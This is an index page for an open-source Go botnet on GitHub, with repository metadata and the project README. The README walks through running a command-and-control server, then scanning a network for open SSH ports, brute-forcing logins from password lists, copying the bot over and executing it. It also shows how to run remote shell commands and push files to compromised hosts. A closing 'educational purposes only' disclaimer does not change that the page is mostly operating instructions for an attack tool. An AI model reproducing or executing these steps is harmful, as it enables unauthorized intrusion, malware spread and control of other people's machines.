Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/threeaccents/botnet
A tcp botnet written in golang
https://github.com/threeaccents/botnet
botnet go golang
Last synced: 3 months ago
JSON representation
A tcp botnet written in golang
- Host: GitHub
- URL: https://github.com/threeaccents/botnet
- Owner: threeaccents
- Created: 2016-06-04T20:38:53.000Z (over 8 years ago)
- Default Branch: master
- Last Pushed: 2019-05-14T13:23:08.000Z (over 5 years ago)
- Last Synced: 2024-08-03T23:28:34.809Z (6 months ago)
- Topics: botnet, go, golang
- Language: Go
- Homepage:
- Size: 10.3 MB
- Stars: 100
- Watchers: 8
- Forks: 37
- Open Issues: 3
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-golang-repositories - botnet
README
## Go Botnet
Simple botnet written in GO. It features a command and control over cli and a botnet payload that communicates to the C&C over tcp.
# Usage:
Compile from the `botnet/cmd/botnet` directory.
- Run the C&C:
```bash
botnet listen
```This starts up a C&C that listens on default port `9999`.
- Attack a machine to get the botnet on the machine. The only supported attack right now is brute forcing SSH
```bash
botnet -ufile /paht/to/usernames/file -pfile /path/to/passwords/file -bindir /path/to/botnet/bin/dir attack ssh
```This will scan all the ips on the network find which ips have port 22 open and attempt to brute force its way in. Once it has access it will SCP the botnet binary over and execute the botnet client to connect to our command and control center
- Connect a payload to the C&C:
```bash
botnet -target 192.168.2.2 -port 9999 connect
```This will start a botnet payload that connects to the C&C on port `9999`.
- Now that we have a payload connected to our C&C we can run a view commands. You'll see the C&C prompt ``
show all payloads connected to C&C:
```bash
show
```This will return the payload ids and addresses
```
ID: 0 Address: 127.0.0.1:64635
ID: 1 Address: 127.0.0.1:64634
```- To communicate with the payload use the `use` command followed by the payloads id:
```bash
use 0
```You will notice now your prompt is changed to ``
- Execute a command in the remote server just type in a command:
```bash
ls -l
```This will return the directory where the payload is running
- Send a file to the payload:
```bash
u: /path/to/file
```This will send the specified file to the payload
- Exit out of the payload and go back to the main C&C
```bash
exit
```You should see a message saying `payload exiting` and the prompt should be back to ``
#Terms of Use
* Do NOT use this on any computer you do not own, or are not allowed to run this on.
* You may NEVER attempt to sell this, its free and open source.
* The authors and publishers assume no responsibility.
* For educational purposes only.